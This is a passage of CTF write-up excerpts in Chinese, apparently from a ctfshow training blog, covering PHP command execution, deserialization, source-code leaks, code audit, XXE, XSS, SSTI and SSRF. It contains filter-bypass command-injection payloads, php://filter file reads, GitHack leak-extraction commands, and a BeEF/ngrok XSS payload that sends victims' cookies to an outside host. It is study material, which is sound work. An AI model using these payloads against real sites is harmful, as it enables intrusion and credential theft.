大赛原型
web680
看看还剩啥
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir
code=print_r(scandir('./'));
code=highlight_file("secret_you_never_know");
code=var_dump(scandir(&q ...
命令执行
web29
源码开局
拼接
c=system('a=g;cat$IFS$1fla$a.php');c=system('1;a=f;d=ag;c=l;cat$IFS$a$c$d.php');
或者
?c=system("nl fla?????");?c=system("nl fla*");?c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;?c=echo `nl fl\ag.php`;//转义字符绕过?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php?c=eval($_GET[zf]);&zf=system('nl flag.php');?c=system('a=g;cat$IFS$1fla$a.php');?c=system('1;a=f;d=ag;c=l;ca ...
反序列化
web254函数__sleep() //执行serialize()时,先会调用这个函数__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)__construct() //当对象被创建时,会触发进行初始化__destruct() //对象被销毁时触发__toString(): //当一个对象被当作字符串使用时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当尝试以调用函数的方式调用一个对象时
<?php/*# -*- coding: utf- ...
信息收集
常见Web源码泄露总结背景
本文主要是记录一下常见的源码泄漏问题,这些经常在web渗透测试以及CTF中出现。
源码泄漏分类
.hg源码泄漏漏洞成因:
hg init的时候会生成.hg
e.g.http://www.example.com/.hg/
漏洞利用:
工具:dvcs-ripper
rip-hg.pl -v -u http://www.example.com/.hg/
.git源码泄漏漏洞成因:
在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等。在发布代码的时候,把.git这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。
e.g. http://www.example.com/.git/config
漏洞利用:
工具:
GitHack
GitHack.py http://www.example.com/.git/
dvcs-ripper
rip-git.pl -v -u http://www.example.com/.git/
.DS_Store文件泄漏漏洞成因:
在发布代码时未删除文件夹中 ...
代码审计
web301
好多php
checklogin.php
<?phperror_reporting(0);session_start();require 'conn.php';$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";$username=$_POST['userid'];$userpwd=$_POST['userpwd'];$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit ...
中期测评
web486打开是一个登录
翻一下源码,没发现什么
注册之后登录也没有反应,重点并不是在这里
发现地址有一个login,感觉像是文件包含
尝试包含index.php发现出错,并且看到有一个templates目录, 还有render我们回到html试试
index.php
<?php/*# -*- coding: utf-8 -*- Author: h1xa Date: 2021-03-08 15:43:51 Last Modified by: h1xa Last Modified time: 2021-03-08 18:11:51 email: h1xa@ctfer.com link: https://ctfer.com*/ini_set('display_errors', 'On');include('render/render_class.php');$action=$_GET['action'];if(!isset($action)){ header('l ...
XXE
XMLxml简介xml被设计用来传输和存储数据
html被设计用来显示数据
什么是xml
指可扩展标记语言
是一种标记语言,很类似于html
设计宗旨是传输数据,而非显示数据
标签没有被预定义.需要自行定义标签
被设计为具有自我描述性
是w3c的推荐标准
xml与html的主要差异
xml不是html的替代
xml被设计为传输和存储数据,其焦点是数据的内容
html被设计来显示数据,其焦点是数据的外观
html旨在显示信息,xml旨在传输信息
xml是不作为的
xml被设计用来结构化 存储以及传输信息
<note><to>George</to><from>john</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>
上面的语句仔细读一下就会发现像是john写给george的便签,存储为xml.
它仅仅是包装在xml标签中的纯粹的信息,我们需要在编写 ...
XSS
kali之beef使用发现没装beef
安装的时候出来问题
sudo dpkg --configure -a
安装beef
apt install beef-xss
改一下默认密码
vim /etc/beef-xss/config.yaml
启动beef
/usr/share/beef-xss/beef
在后台启动
/usr/share/beef-xss/beef &
打开浏览器访问:http://192.168.5.152:3000/ui/authentication
安装ngrok反向代理服务,解压
tar -zxvf ngrok-stable-linux-amd64.tgz
授权
./ngrok authtoken [token码]
payload<script>document.location.href='http://fb53-111-17-194-91.ngrok.io/zf.php?cookie='+document.cookie</script><script>var img=do ...
SSTI
web361SSTI原理SSTi学习
SSTI沙盒逃逸
网址输入“{undefined{7+7}}”页面显示14,说面存在“SSTI” :
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
基础知识常用方法
__class__ 查看对象所在的类__mro__ 查看继承关系和调用顺序,返回元组__base__ 返回基类__bases__ 返回基类元组__subclasses__() 返回子类列表__init__ 调用初始化函数,可以用来跳到__globals____globals__ 返回函 ...
SSRF
web351SSRF基础SSRF是一种有攻击者构造形成由服务daunt发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为他是有服务器端发起的,所以它能够请求到与他相连而与外网隔离的内部系统)
相关函数和类
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix套接字连接
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt() curl_exec() 和 curl_close()函数使用
fopen():打开一个文件或者url
PHP原生类soapclient在触发反序列化时可导致ssrf
相关协议
file协议:在有回显的情况下,利用file协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gophar支持发出get post请求.可以先截获get请求包和post请求包,在构造成符合gopher协议的 ...